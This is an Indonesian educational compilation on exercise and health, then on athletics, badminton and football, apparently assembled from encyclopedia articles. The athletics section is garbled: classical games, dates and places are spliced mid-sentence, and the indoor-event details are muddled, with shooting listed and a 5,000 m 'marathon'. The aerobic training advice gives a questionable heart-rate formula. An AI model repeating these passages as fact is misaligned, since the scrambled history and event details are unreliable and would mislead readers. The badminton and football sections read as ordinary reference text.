Kesehatan olahraga adalah upaya kesehatan yang memanfaatkan olahraga untuk meningkatkan derajat kesehatan. Olahraga merupakan sebagian kebutuhan pokok dalam kehidupan sehari-hari karena dapat meningkatkan kebugaran yang diperlukan dalam melakukan tugasnya. Olahraga dapat dimulai sejak usia muda hingga usia lanjut dan dapat dilakukan setiap hari. Dengan majunya dunia teknologi memudahkan semua kegiatan sehingga menyebabkan seseorang menjadi kurang bergerak (hypokinetic), seperti penggunaan remote kontrol, komputer, lift dan tangga berjalan, tanpa dimbangi dengan aktifitas fisik yang akan menimbulkan penyakit akibat kurang gerak.

Gaya hidup duduk terus-menerus dalam bekerja (sedentary) dan kurang gerak ditambah dengan adanya faktor risiko, berupa merokok, pola makan yang tidak sehat dapat menyebabkan penyakit tidak menular, seperti: penyakit jantung, pembuluh darah, tekanan darah tinggi, kencing manis, berat badan lebih, osteoporosis, kanker usus, depresi dan kecemasan. Olahraga telah menjadi bagian hidup dari sebagian besar masyarakat Indonesia, baik di kota besar maupun di pelosok pedesaan.

Orang yang mempunyai gaya hidup tidak merokok, berolahraga secara teratur, dan melakukan kerja fisik, ternyata berpeluang lima kali lebih tinggi terhindar dari penyakit jantung dan stroke daripada yang bergaya hidup sebaliknya. Faktor kegemukan, kurang gerak, riwayat keluarga terkena penyakit kardiovaskular, serta penyakit diabetes mempunyai risiko terkena penyakit jantung koroner empat kali lebih tinggi dibanding yang tidak menderita diabetes.

Pendidikan jasmani dan kesehatan (penjaskes) bertujuan agar masyarakat terhindar dari penyakit-penyakit tersebut menjadi bergerak agar sehat dan bugar. Oleh karena itu kegiatan aktifitas fisik/latihan fisik dan atau olahraga perlu menjadi gerakan masyarakat. Memasyarakatkan olahraga dan mengolahragakan masyarakat.

Apakah Aktifitas Fisik Itu?
Aktifitas fisik adalah setiap gerakan tubuh yang meningkatkan pengeluaran tenaga dan energi (pembakaran kalori). Dalam kegiatan sehari-hari setiap orang (individu) melakukan berbagai aktifitas fisik. 
1. Cuci Baju 3,56 Kcal/menit
2. Mengemudi Mobil 2,80 Kcal/menit
3. Mengecat Rumah 3,50 Kcal/menit
4. Potong Kayu 3,80 Kcal/menit
5. Menyapu Rumah 3,90 Kcal/menit
6. Jalan Kaki (kec. 3, 5 Mil/jam) 5,60 – 7 00 Kcal / menit
7. Mengajar 1,70 Kcal/menit
8. Membersihkan Jendela 3,70 Kcal/menit
9. Berkebun 5,60 Kcal/menit
10. Menyetrika 4,20 Kcal/menit 

Olahraga aerobik
Olahraga aerobik adalah olahraga yang dilakukan secara terus-menerus dimana kebutuhan oksigen masih dapat dipenuhi tubuh. Sebagai contoh olahraga aerobik adalah gerak jalan cepat, jogging, lari, senam, renang, dan bersepeda. Olahraga aerobik merupakan latihan intensif yang menggerakkan dua tangan dan kedua kaki seperti jogging, bulu tangkis, berenang gaya krol (bukan gaya katak), bersepeda aktif (bukan sepeda statis).

Latihan ini dimulai dengan pemanasan selama 5 menit kemudian diikuti latihan pokok dengan mengukur maksimum detak jantung menuju pencapaian 200 dikurangi usia yang sedang berlatih per menit (DNM). Latihan ini dilakukan selama 20 menit, namun bila dilakukan setiap hari atau bila tidak ada waktu boleh dilakukan 3x30 menit per minggu. 

Senam aerobik telah menjadi sangat populer di Indonesia. Dahulu, kaum pria menganggap senam aerobik adalah olahraga untuk wanita saja dan menganggapnya kurang bermanfaat. Tetapi kini, baik pria maupun wanita, bersama-sama melakukan senam aerobik demi kebugaran dan kegembiraannya. Senam tersebut diiringi dengan musik kesenangannya dan irama musik menjadi panduan dari gerakan yang dilakukan. Mereka yang dahulu mengira senam aerobik merupakan olahraga ringan, setelah melakukannya sendiri merasa bahwa senam aerobik keras intensitasnya sehingga mereka menghargai seperti olahraga lain yang juga cukup keras intensitasnya. Dalam rangka meningkatkan kebugaran/kesegaran jasmani karyawan/karyawati mengadakan senam aerobik.  

Olahraga anaerobik 

Olahraga anaerobik adalah olahraga dimana kebutuhan oksigen tidak dapat dipenuhi seluruhnya oleh tubuh. Sebagai contoh angkat besi, lari sprint 100 M, tenis lapangan, dan bulu tangkis. Merupakan latihan olahraga yang dipakai oleh para atlet olahragawan untuk meningkatkan masa otot dan non-endurance sifatnya, seperti angkat beban dalam meningkatkan masa otot.

American Heart Association (2007) menganjurkan angkat beban hendaknya dilakukan setelah latihan aerobik dan hanya sebagai pelengkap sifatnya untuk penampilan yang baik bagi tubuh kita. Latihan aerobik dan anaerobik hendaknya dilakukan secara teratur dan tidak usah berlama-lama sehingga over-exchausted 
yang malah berbahaya karena dapat menimbulkan serangan jantung mendadak. 

Latihan anaerobik dan aerobik juga bekerja untuk meningkatkan daya kerja dari organ jantung terutama dalam meningkatkan volume kedua ventrikel kiri dan kanan dari organ jantung dengan latihan aerobik, atau memperbaiki kekuatan otot myocardial jantung dengan latihan anaerobik Terutama latihan aerobik akan memperbaiki endurance, dan bila latihan ini dilakukan oleh orang yang sudah lanjut usia, akan memperbaiki keadaan fisiknya dan juga mencegah agar tidak pelupa.

B. Atletik
Atletik adalah event asli dari Olimpiade pertama ditahun 776 sebelum Masehi dimana satu-satunya event adalah perlombaan lari atau stade. Ada beberapa “Games” yang digelar selama era klasik Eropa: Panhellenik Games The Pythian Game (dimulai 6 Sebelum Masehi) digelar di Argolid setiap dua tahun. The Isthmian Game (dimulai 523 Sebelum Masehi) digelar di Isthmus dari Corinth setiap dua tahun. The Roman Games Berasal dari akar Yunani murni, Roman game memakai perlombaan lari dan melempar. Bukannya berlomba kereta kuda dan bergulat seperti di Yunani, olahraga Etruscan memakai pertempuran galiatoral, yang juga sama-sama 527 Sebelum Masehi digelar di Delphi tiap empat tahun. The Nemean Games (dimulai 51 memakai panggung). Masyarakat lain menggemari kontes atletik, seperti bangsa Kelt, Teutonik, dan Goth yang juga digemari orang Roma. Tetapi, olahraga ini sering dihubungkan dengan pelatihan tempur. Di masa abad pertengahan anak seorang bangsawan akan dilatih dalam berlari, bertarung dan bergulat dan tambahan berkuda, memanah dan pelatihan senjata. Kontes antar rival dan sahabat sangat umum di arena resmi maupun tidak resmi.
Di abad 19 organisasi formal dari event modern dimulai. Ini termasuk dengan olahraga reguler dan latihan di rezim sekolahan. Royal Millitary College di Sandhurst mengklaim menggunakan ini pertamakali pada tahun 1812 dan 1825 tetapi tanpa bukti nyata. Pertemuan yang paling tua diadakan di Shrewsbury, Shropshire di 1840 oleh Royal Shrewsbury School Hunt. Ada detail dari seri pertemuan tersebut yang ditulis 60 tahun kemudian oleh C.T Robinson dimana dia seorang murid disana pada tahun 1838 sampai 1841. Eeck Military Academy dimana Woolwich menyelenggarakan sebuah kompetisi yang diorganisir pada tahun 1849, tetapi seri reguler pertama dari pertemuan digelar di Exeter College, Oxford dari 1850.
Atletik modern biasanya diorganisir sekitar lari 400m di trek di hampir semua even yang ada. Acara lapangan (melompat dan melempar) biasanya memakai tempat di dalam trek. Atletik termasuk di dalam Olimpiade modern pada tahun 1896 dan membentuk dasar-dasarnya kemudian. Wanita pertama kali dibolehkan berpartisipasi di trek dan lapangan dalam event Olimpiade tahun 1928. Sebuah badan pengelola internasional dibentuk, IAAF dibentuk tahun 1912. IAAF menyelenggarakan beberapa kejuaraan dunia outdoor pada tahun 1983. Ada beberapa pertandingan regional seperti kejuaraan Eropa, Pan-American Games dan Commonwealth Games. Sebagai tambahan ada sirkuit Liga Emas professional, diakumulasi dalam IAAF World Athletics Final dan kejuaraan dalam ruangan seperti World Indoor Championship. Olahraga tersebut memiliki profil tinggi selama kejuaraan besar, khususnya Olimpiade, tetapi yang lain kurang populer.
AAU (Amateur Athletic Union) adalah badan pengelola di Amerika Serikat sampai runtuh dibawah tekanan profesionalisme pada akhir tahun 1970. Sebuah badan baru bernama The Athletic Congress (TAC) dibentuk, dan akhirnya dinamai USA Track and Field (USATF atau USA T&F). Sebuah tambahan, organisasi dengan struktural yang lebih kecil, Road Runner Club of America (RRCA) juga ada di USA untuk mempromosikan balap jalanan. Di masa modern, atlet sekarang bisa menerima uang dari balapan, mengakhiri sebutan “amatirisme” yang ada sebelumnya.
Lintasan dan Lapangan Dalam Ruangan
Ada dua musim dalam lintasan dan lapangan. Ada musim indoor,selama musim dingin dan musim outdoor, digelar selama musim semi dan panas. Kebanyakan lintasan indoor adalah 200m dan terdiri dari empat atau enam jalur. Seringkali sebuah lintasan indoor memiliki belokan yang lurus untuk mengkompensasikan belokan yang ketat. Dalam lintasan indoor atlet berkompetisi sama dengan event lintasan di outdoor dengan pengecualian untuk lari 100m dan 110/100m haling rintang (diganti dengan sprint 60m dan 60 m hlang rintang di tingkat kebanyakan dan kadang 55m sprint dan 55m haling rintang di tingkat SMA) dan lari 10.000m, jalan cepat 300m, dan 400m haling rintang. Indoor juga mendapat tambahan lari 3000m yang normalnya pada tingkat kampus dan elit dibandingkan memakai 10.000m. marathon 5.000m adalah event lari jauh yang paling umum, walaupun ada situasi dengan jarak lebih jauh pernah dilombakan. Di medio abad 20, ada seri perlombaan duel di Madison Square Garden (New York) lintasan indoor, beberapa menampilkan dua orang berlomba marathon (26,2 mil). Tetapi, ini sangat jarang terjadi. Dalam keadaan tertentu, ada juga balapan 500m dibandingkan 400m yang ada normalnya di event outdoor, dan di kejuaraan kampus indoor dua-duanya dilombakan.
Di event lapangan, perlombaan indoor hanya menampilkan lompat tinggi, lompat galah, lompat jauh, lompat ganda dan menembak. Lembar lembing, lempar bola besi dan tolak peluru ditambahkan hanya untu event outdoor, dimana normalnya tidak ada ruang yang cukup dalam stadion indoor pada perlombaan tersebut. Event unik dari perlombaan indoor (terutama di Amerika Utara) adakah lempar beban seberat 300, 600, 1000 dan 35 pon. Di Negara lain, terutama Norwegia, lompat jauh berdiri dan lompat tinggi berdiri juga dilombakan, bahkn di Kejuaraan Nasional untuk atlet multi-event ada Pentathlon untuk wanita (yaitu 60m halang rintang, lompat jauh, tolak peluru dan 800m) dan heptathlon untuk pria (yaitu 60m halang rintang, lompat jauh, tolak peluru, 60m lari, lompat galah dan 1000m lari) indoor. Untuk outdoor ada heptathlon untuk wanita dan decathlon
Lintasan dan Lapangan Luar Ruangan
Lintasan dan Lapangan luar ruangan biasanya dimulai dan diakhiri selama musim semi. Kebanyakan lintasan adalah berbentuk oval untuk keadaan 400m. Tetapi, beberapa lintasan tua berukuran 440 yardm dimana ada beberapa lintasan yang tidak oval dan tidak 400m/440 yard karena keadaan geografis. Lintasan modern memakai permukaan yang dikaretkan, dan lintasan yang lebih tua memakai pasir atau kerikil. Lintasan normalnya memakai 6-10 jalur dan bisa termasuk sebuah jalur langkah dan selokan di salah satu belokan. Jalur ini isa ada di luar atau di dalam lintasan, membuat tikungan yang lebih sempit atau lebar. Sangat umum dimana lintasan itu akan mengelilingi sebuah lapangan bermain yang dipakai untukAmerican Football, sepak bola, atau lacrosse. Lapangan di dalam ini biasanya dikenal dengan lapangan dalam dan permukaanya memakai rumput atau karpet buatan, dan tempat diaman tim menggelar kamping selama turnamen panjang. Tetapi lempar lembing, bola besi dan cakram biasanya dilombakan di luar lapangan di lapangan lain karena membutuhkan ruangan yang lebih luas, dan implementasinya mungkin bisa merusak lapangan yang dipakai atau lintasan.
Event
Ada variasi lain selain yang ditulis dibawah, tetapi lomba dengan panjang tidak biasa (contohnya 300m) dilangsungkan lebih jarang. Balapan yang tidak lazim biasanya digelar selama musim indoor karena lintasan 200m dalam ruangan. Dengan pengecualian lari mil, lomba berdasarkan jarak kerajaan jarang sekali digelar di lintasan sejak kebanyakan lintasan diubah dari seperempat mil (402,3m) ke 400m. Hampir semua catatan rekor untuk jarak kerajaan tidak dilangsungkan kembali. Bagaimanapun, IAAF dalam buku rekornya masih memasukan rekor dunia mil (dipegang oleh Hicham El Guerroj dari Maroko dan Svetlana Masterkova dari Rusia untuk wanita) karena perbedaan signifikan yang mendunia.


C. Bulu tangkis
Bulu tangkis atau badminton adalah suatu olahraga raket yang dimainkan oleh dua orang (untuk tunggal) atau dua pasangan (untuk ganda) yang saling berlawanan.
Mirip dengan tenis, bulu tangkis bertujuan memukul bola permainan ("kok" atau "shuttlecock") melewati jaring agar jatuh di bidang permainan lawan yang sudah ditentukan dan berusaha mencegah lawan melakukan hal yang sama.

Partai

http://upload.wikimedia.org/wikipedia/id/thumb/3/38/Bulutangkis_ukuran.jpg/250px-Bulutangkis_ukuran.jpg
http://bits.wikimedia.org/static-1.23wmf4/skins/common/images/magnify-clip.png
Lapangan bulu tangkis
Ada lima partai yang biasa dimainkan dalam bulu tangkis, yaitu:
  1. Tunggal putra
  2. Tunggal putri
  3. Ganda putra
  4. Ganda putri
  5. Ganda campuran

Lapangan dan jaring

Lapangan bulu tangkis berbentuk persegi panjang dan mempunyai ukuran seperti terlihat pada gambar. Garis-garis yang ada mempunyai ketebalan 40 mm dan harus berwarna kontras terhadap warna lapangan. Warna yang disarankan untuk garis adalah putih atau kuning. Permukaan lapangan disarankan terbuat dari kayu atau bahan sintetis yg lunak. Permukaan lapangan yang terbuat dari beton atau bahan sintetik yang keras sangat tidak dianjurkan karena dapat mengakibatkan cedera pada pemain. Jaring setinggi 1,55 m berada tepat di tengah lapangan. Jaring harus berwarna gelap kecuali bibir jaring yang mempunyai ketebalan 75 mm harus berwarna putih.

Perlengkapan

  • Raket
Secara tradisional raket dibuat dari kayu. Kemudian aluminium atau logam ringan lainnya menjadi bahan yang dipilih. Kini, hampir semua raket bulu tangkis profesional berkomposisikan komposit serat karbon (plastik bertulang grafit). Serat karbon memiliki kekuatan hebat terhadap perbandingan berat, kaku, dan memberi perpindahan energi kinetik yang hebat. Namun, sejumlah model rendahan masih menggunakan baja atau aluminium untuk sebagian atau keseluruhan raket.
  • Senar
Mungkin salah satu dari bagian yang paling diperhatikan dalam bulu tangkis adalah senar nya. Jenis senar berbeda memiliki ciri-ciri tanggap berlainan. Keawetan secara umum bervariasi dengan kinerja. Kebanyakan senar berketebalan 21 ukuran dan diuntai dengan ketegangan 18 sampai 30+ lb. Kesukaan pribadi sang pemain memainkan peran yang kuat dalam seleksi senar.
  • Kok
Kok adalah bola yang digunakan dalam olahraga bulu tangkis, terbuat dari rangkaian bulu angsa yang disusun membentuk kerucut terbuka, dengan pangkal berbentuk setengah bola yang terbuat dari gabus. Dalam latihan atau pertandingan tidak resmi digunakan juga kok dari plastik.
  • Sepatu
Karena percepatan sepanjang lapangan sangatlah penting, para pemain membutuhkan pegangan dengan lantai yang maksimal pada setiap saat. Sepatu bulu tangkis membutuhkan sol karet untuk cengkraman yang baik, dinding sisi yang bertulang agar tahan lama selama tarik-menarik, dan teknologi penyebaran goncangan untuk melompat; bulu tangkis mengakibatkan agak banyak stres (ketegangan) pada lutut dan pergelangan kaki.

Memainkan bulu tangkis

Tiap pemain atau pasangan mengambil posisi berseberangan pada kedua sisi jaring di lapangan bulu tangkis.
Permainan dimulai dengan salah satu pemain melakukan servis.
Tujuan permainan adalah untuk memukul sebuah kok menggunakan raket, melewati jaring ke wilayah lawan, sampai lawan tidak dapat mengembalikannya kembali. Area permainan berbeda untuk partai tunggal dan ganda, seperti yang diperlihatkan pada gambar. Bila kok jatuh di luar area tersebut maka kok dikatakan "keluar".
Setiap kali pemain/pasangan tidak dapat mengembalikan kok (karena menyangkut di jaring atau keluar lapangan) maka lawannya akan memperoleh poin.
Permainan berakhir bila salah satu pemain/pasangan telah meraih sejumlah poin tertentu.
Teknik Dasar Permainan Bulu Tangkis
a. Cara Memegang Raket Pegangan raket ada tiga macam, yaitu: 1. Pegangan forehand (pegangan dasar) Pegangan ini dapat di peroleh dengan cara mendirkan raket yang sisinya tegak dengan lantai Pegangan ini hampir sama dengan posisi tangan sedang bersalaman.
2. Pegangan backhand Pegangan ini dapat di peroleh dengan jalan memutar seperempat ke kanan dari pegangan forehand.
3. Pegangan pukul kasur/Amerika Cara pegangan ini adalah mula-mula raket diletakkan secara mendatar di atas lantai. Kemudian ambil dan peganglah raket pada pegangannya, sehingga bagian tangan antar ibu jari dan jaritelunjuk menempel pada bagian permukaan yang lebar.
b. Teknik Pukulan Teknik pukulan adalah cara-cara melakukan pukulan pada permainan bulutangkis dengan tujuan menerbangkan shuttlecock ke lapanagn lawan. Terdapat macam-macam teknik dasar pukulan dalam permainan bulutangkis, yaitu: 1. Pukulan Servis Pukulan servis merupakan pukulan dengan raket untuk menerbangkan shuttlecock ke bidang lapangan lawan secara diagonal dan bertujuan sebagai permulaan permainan. Macam-macam pukulan servis, yaitu: a. Pukulan servis pendek b. Pukulan servis panjang c. Pukulan servis mendatar d. Pukulan servis cambuk
2. Pukulan Lob Pukulan lob adalah pukulan dalam permainan bulutangkis yang bertujuan untuk menerbangkan shuttlecock setinggi mungkin mengarah jauh ke belakang garis lapangan lawan. Pukulan lob dapat dilakukan dengan dua cara, yaitu: a. Overhead lob, yaiutu pukulan lob yang dilakukan dari atas kepala dengan cara menerbangkan shuttlecock melambung ke arah belakang. b. Underhand lob, yaitu pukulan lob yang dilakukan dari bawah dengan cara memukul shuttlecock yang berada di bawah badan dan di lambungkan tinggi ke belakang.

Servis

Servis dilakukan dari satu sisi lapangan (kiri atau kanan) menyilang menyeberangi jaring ke area lawan. Partai tunggal dan ganda memiliki area servis yang berbeda seperti yang diilustrasikan pada gambar. Bila kok jatuh di luar area tersebut maka kok dinyatakan "keluar" dan poin untuk penerima servis.
Posisi kiri atau kanan tempat servis dilakukan ditentukan dari jumlah poin yang telah dikumpulkan oleh pemain yang akan melakukan servis. Posisi kanan untuk jumlah poin genap dan posisi kiri untuk jumlah poin ganjil. Servis dari posisi kanan juga dilakukan saat jumlah poin masih nol.
Pada set pertama pemain/pasangan yang melakukan servis untuk pertama kali ditentukan dengan undian, sedangkan untuk set berikutnya dilakukan oleh pemenang dari set sebelumnya.
Untuk partai ganda, beberapa peraturan berbeda diterapkan untuk perhitungan poin menggunakan sistem pindah bola dan sistem reli poin:

Sistem pindah bola

  • Sebelum pertandingan dimulai, harus ditentukan salah seorang pemain dari tiap-tiap pasangan sebagai "orang pertama". Pilihan ini berlaku untuk setiap set yang dimainkan.
  • Jumlah poin genap atau ganjil menentukan posisi "orang pertama" saat melakukan servis.
  • Setiap pasangan mempunyai dua kali kesempatan servis (masing-masing untuk tiap pemain) sebelum pindah bola, kecuali servis pertama pada tiap-tiap awal set tidak mendapat kesempatan kedua.
  • Saat pindah bola, servis pertama selalu dilakukan oleh pemain yang berada di sebelah kanan, bukan oleh "orang pertama".

Sistem reli poin

  • Setiap pasangan hanya mendapat satu kali kesempatan servis, tidak ada servis kedua.
  • Servis dilakukan oleh pemain yang posisinya sesuai dengan poin yang telah diraih oleh pasangan tersebut.
  • Pemain yang sama akan terus melakukan servis sampai poin berikutnya diraih oleh lawan.

Sistem perhitungan poin

!Artikel utama untuk bagian ini adalah: Sistem perhitungan poin bulu tangkis
Sejak Mei 2006, pada kejuaraan resmi seluruh partai menggunakan sistem perhitungan 3x21 reli poin. Pemenang adalah pemain/pasangan yang telah memenangkan dua set.

Sejarah

http://upload.wikimedia.org/wikipedia/commons/thumb/3/39/Battledore-and-shuttlecock.jpg/200px-Battledore-and-shuttlecock.jpg
http://bits.wikimedia.org/static-1.23wmf4/skins/common/images/magnify-clip.png
Permainan Battledore and Shuttlecock pada tahun 1854
Olah raga yang dimainkan dengan kok dan raket, kemungkinan berkembang di Mesir kuno sekitar 2000 tahun lalu tetapi juga disebut-sebut di India dan Republik Rakyat Cina.
Nenek moyang terdininya diperkirakan ialah sebuah permainan Tionghoa, Jianzi yang melibatkan penggunaan kok tetapi tanpa raket. Alih-alih, objeknya dimanipulasi dengan kaki. Objek/misi permainan ini adalah untuk menjaga kok agar tidak menyentuh tanah selama mungkin tanpa menggunakan tangan.
Di Inggris sejak zaman pertengahan permainan anak-anak yang disebut Battledores dan Shuttlecocks sangat populer. Anak-anak pada waktu itu biasanya akan memakai dayung/tongkat (Battledores) dan bersiasat bersama untuk menjaga kok tetap di udara dan mencegahnya dari menyentuh tanah. Ini cukup populer untuk menjadi nuansa harian di jalan-jalan London pada tahun 1854 ketika majalah Punch mempublikasikan kartun untuk ini.
Penduduk Inggris membawa permainan ini ke Jepang, Republik Rakyat Cina, dan Siam (sekarang Thailand) selagi mereka mengolonisasi Asia. Ini kemudian dengan segera menjadi permainan anak-anak di wilayah setempat mereka.
Olah raga kompetitif bulu tangkis diciptakan oleh petugas Tentara Britania di Pune, India pada abad ke-19 saat mereka menambahkan jaring dan memainkannya secara bersaingan. Oleh sebab kota Pune dikenal sebelumnya sebagai Poona, permainan tersebut juga dikenali sebagai Poona pada masa itu.
Para tentara membawa permainan itu kembali ke Inggris pada 1850-an. Olah raga ini mendapatkan namanya yang sekarang pada 1860 dalam sebuah pamflet oleh Isaac Spratt, seorang penyalur mainan Inggris, berjudul "Badminton Battledore - a new game" ("Battledore bulu tangkis - sebuah permainan baru"). Ini melukiskan permainan tersebut dimainkan di Gedung Badminton (Badminton House), estat Duke of Beaufort's di Gloucestershire, Inggris.
Rencengan peraturan yang pertama ditulis oleh Klub Badminton Bath pada 1877. Asosiasi bulu tangkis Inggris dibentuk pada 1893 dan kejuaraan internasional pertamanya berunjuk-gigi pertama kali pada 1899 dengan Kejuaraan All England.
bulu tangkis menjadi sebuah olah raga populer di dunia, terutama di wilayah Asia Timur dan Tenggara, yang saat ini mendominasi olah raga ini, dan di negara-negara Skandinavia.

Induk organisasi

International Badminton Federation (IBF) didirikan pada tahun 1934 dan membukukan Inggris, Irlandia, Skotlandia, Wales, Denmark, Belanda, Kanada, Selandia Baru, dan Perancis sebagai anggota-anggota pelopornya. India bergabung sebagai afiliat pada tahun 1936. Pada IBF Extraordinary General Meeting di Madrid, Spanyol, September 2006, usulan untuk mengubah nama International Badminton Federation menjadi Badminton World Federation (BWF) diterima dengan suara bulat oleh seluruh 206 delegasi yang hadir.
Olah raga ini menjadi olah raga Olimpiade Musim Panas di Olimpiade Barcelona tahun 1992. Indonesia dan Korea Selatan sama-sama memperoleh masing-masing dua medali emas tahun itu.

Lihat pula

Pranala luar



D. Sepak Bola
Sepak bola adalah cabang olahraga yang menggunakan bola yang dimainkan oleh dua tim yang masing-masing beranggotakan 11 (sebelas) orang. Memasuki abad ke-21, olahraga ini telah dimainkan oleh lebih dari 250 juta orang di 200 negara, yang menjadikannya olahraga paling populer di dunia.[1][2][3][4] Sepak bola bertujuan untuk mencetak gol sebanyak-banyaknya dengan menggunakan bola ke gawang lawan. Sepak bola dimainkan dalam lapangan yang berbentuk persegi panjang, di atas rumput atau rumput sintetis.
Secara umum, hanya penjaga gawang saja yang berhak menyentuh bola dengan tangan atau lengan di dalam daerah gawangnya, sedangkan 10 (sepuluh) pemain lainnya diijinkan menggunakan seluruh tubuhnya selain tangan, biasanya dengan kaki untuk menendang, dada untuk mengontrol, dan kepala untuk menyundul bola. Tim yang mencetak gol paling banyak pada akhir pertandingan adalah pemenangnya. Jika hingga waktu berakhir masih berakhir imbang, maka dapat dilakukan undian, perpanjangan waktu maupun adu penalti, tergantung dari format penyelenggaraan kejuaraan.[5]
Peraturan pertandingan secara umum diperbarui setiap tahunnya oleh induk organisasi sepak bola internasional (FIFA), yang juga menyelenggarakan Piala Dunia setiap empat tahun sekali.[6]

Sejarah

Sejarah olahraga sepak bola dimulai sejak abad ke-2 dan -3 sebelum Masehi di Cina.[7] Di masa Dinasti Han tersebut, masyarakat menggiring bola kulit dengan menendangnya ke jaring kecil.[7] Permainan serupa juga dimainkan di Jepang dengan sebutan Kemari[8]. Di Italia, permainan menendang dan membawa bola juga digemari terutama mulai abad ke-16.[8]
Sepak bola modern mulai berkembang di Inggris dan menjadi sangat digemari.[7] Di beberapa kompetisi, permainan ini menimbulkan banyak kekerasan selama pertandingan sehingga akhirnya Raja Edward III melarang olahraga ini dimainkan pada tahun 1365.[7] Raja James I dari Skotlandia juga mendukung larangan untuk memainkan sepak bola.[7] Pada tahun 1815, sebuah perkembangan besar menyebabkan sepak bola menjadi terkenal di lingkungan universitas dan sekolah.[7] Kelahiran sepak bola modern terjadi di Freemasons Tavern pada tahun 1863 ketika 11 sekolah dan klub berkumpul dan merumuskan aturan baku untuk permainan tersebut.[8] Bersamaan dengan itu, terjadi pemisahan yang jelas antara olahraga rugby dengan sepak bola (soccer).[8] Pada tahun 1869, membawa bola dengan tangan mulai dilarang dalam sepak bola.[7] Selama tahun 1800-an, olahraga tersebut dibawa oleh pelaut, pedagang, dan tentara Inggris ke berbagai belahan dunia.[7] Pada tahun 1904, asosiasi tertinggi sepak bola dunia (FIFA) dibentuk dan pada awal tahun 1900-an, berbagai kompetisi dimainkan diberbagai negara.[7]

 

Posisi pemain


Penjaga gawang dalam sepak bola.
Pada dasarnya, satu tim sepak bola terdiri dari 1 orang penjaga gawang, 2-4 orang pemain bertahan, (fullbacks), 2-4 orang pemain tengah, dan 1-4 orang penyerang.[9] Penjaga gawang adalah satu-satunya pemain yang boleh menggunakan tangan untuk melindungi gawang dari serangan lawan.[9] Umumnya, penjaga gawang mengenakan pakaian yang berbeda dengan pemain lainnya.[9] Pemain bertahan memiliki tugas utama untuk menghentikan serangan lawan.[9] Pemain tengah biasanya terdiri dari pemain tengah penyerang yang bermain dekat dengan penyerang dan pemain tengah bertahan yang bermain dekat dengan pemain bertahan.[9] Penyerang memiliki tugas utama untuk mencetak gol ke gawang lawan.[9]
Posisi dasar pemain dapat mengalami modifikasi menjadi berbagai pola atau taktik permainan.[10] Beberapa pola pemain yang sering digunakan dalam berbagai kejuaraan adalah 4-4-2 (paling sering digunakan), 3-4-2-1 (kekuatan terletak di bagian tengah lapangan), serta 4-3-3 (formasi klasik dari tahun 1970-an yang sering digunakan oleh sistem total football Belanda dan Jerman Barat ).[10]

Aturan

Lapangan permainan

Untuk pertandingan internasional dewasa, lapangan sepak bola internasional yang digunakan memiliki panjang yang berkisar antara 100-120 meter dan lebar 65-75 meter.[11] Di bagian tengah kedua ujung lapangan, terdapat area gawang yang berupa persegi empat berukuran dengan lebar 7.32 meter dan tinggi 2.44 meter.[11] Di bagian depan dari gawang terdapat area pinalti yang berjarak 16.5 meter dari gawang.[11] Area ini merupakan batas kiper boleh menangkap bola dengan tangan dan menentukan kapan sebuah pelanggaran mendapatkan hadiah tendangan pinalti atau tidak.[11]

Lama permainan

Lama permainan sepak bola normal adalah 2 × 45 menit, ditambah istirahat selama 15 menit di antara kedua babak.[11] Jika kedudukan sama imbang, maka diadakan perpanjangan waktu selama 2×15 menit, hingga didapat pemenang, namun jika sama kuat maka diadakan adu penalti.[11] Wasit dapat menentukan berapa waktu tambahan di setiap akhir babak sebagai pengganti dari waktu yang hilang akibat pergantian pemain, cedera yang membutuhkan pertolongan, ataupun penghentian lainnya. Waktu tambahan ini disebut sebagai injury time atau stoppage time.[11]
Gol yang dicetak dalam perpanjangan waktu akan dihitung menjadi skor akhir pertandingan, sedangkan gol dari adu penalti hanya menentukan apabila suatu tim dapat melaju ke pertandingan selanjutnya ataupun tidak (tidak mempengaruhi skor akhir).[11] Pada akhir tahun 1990-an, International Football Association Board (IFAB) memberlakukan sistem gol emas (golden gol) atau gol perak (silver gol) untuk menyelesaikan pertandingan.[11] Dalam sistem gol emas, tim yang pertama kali mencetak gol saat perpanjangan waktu berlangsung akan menjadi pemenang, sedangkan dalam gol perak, tim yang memimpin pada akhir babak perpanjangan waktu pertama akan keluar sebagai pemenang.[11] Kedua sistem tersebut tidak lagi digunakan oleh IFAB.[11]

Pelanggaran

Apabila pemain melakukan pelanggaran yang cukup keras maka wasit dapat memberikan peringatan dengan kartu kuning atau kartu merah.[12] Pertandingan akan dihentikan dan wasit menunjukkan kartu ke depan pemain yang melanggar kemudian mencatat namanya di dalam buku.[12] Kartu kuning merupakan peringatan atas pelanggaran seperti bersikap tidak sportif, secara terus-menerus melanggar peraturan, berselisih kata-kata atau tindakan, menunda memulai kembali pertandingan, keluar-masuk pertandingan tanpa persetujuan wasit, ataupun tidak menjaga jarak dari pemain lawan yang sedang melakukan tendangan bebas atau lemparan ke dalam.[12] Pemain yang menerima dua kartu kuning akan mendapatkan kartu merah dan keluar dari pertandingan.[12]
Pemain yang mendapatkan kartu merah harus keluar dari pertandingan tanpa bisa digantikan dengan pemain lainnya.[12] Beberapa contoh tindakan yang dapat diganjar kartu merah adalah pelanggaran berat yang membahayakan atau menyebabkan cedera parah pada lawan, meludah, melakukan kekerasan, melanggar lawan yang sedang berusaha mencetak gol, menyentuh bola dengan tangan untuk mencegah gol bagi semua pemain kecuali penjaga gawang , dan menggunakan bahasa atau gerak tubuh yang cenderung menantang, pemain yang berposisi sebagai penjaga gawang melakukan hands ball di luar kotak penalti .[12]

Wasit dan petugas pertandingan

Dalam pertandingan profesional, terdapat 4 petugas yang memimpin jalannya pertandingan, yaitu wasit, 2 hakim garis, dan seorang petugas di pinggir tengah lapangan.[13] Wasit memiliki peluit yang menandakan apakah saat berhenti atau memulai memainkan bola.[13] Dia juga bertugas memberikan hukuman dan peringatan atas pelanggaran yang terjadi di lapangan.[13] Masing-masing penjaga garis bertanggung jawab mengawasi setengah bagian dari lapangan.[13] Mereka membawa bendera dengan warna terang untuk menandakan adanya pelanggaran, bola keluar, ataupun offside.[13] Biasanya mereka akan bergerak mengikuti posisi pemain belakang terakhir.[13]
Petugas terakhir memiliki tugas untuk mencatat semua waktu yang sempat terhenti selama pertandingan berlangsung dan memberikan info mengenai tambahan waktu di akhir setiap babak.[13] Petugas ini juga bertugas memeriksa pergantian pemain dan menjadi penghubung antara manajer tim dengan wasit.[13] Dalam beberapa pertandingan, teknologi penggunaan video atau penggunaan orang kelima untuk menentukan ketepatan keputusan wasit mulai digunakan.[13] Misalnya yang menentukan apakah suatu bola telah melewati garis atau apakah seorang pemain berada dalam keadaan offside ketika mencetak gol.[13]

Kejuaraan Internasional

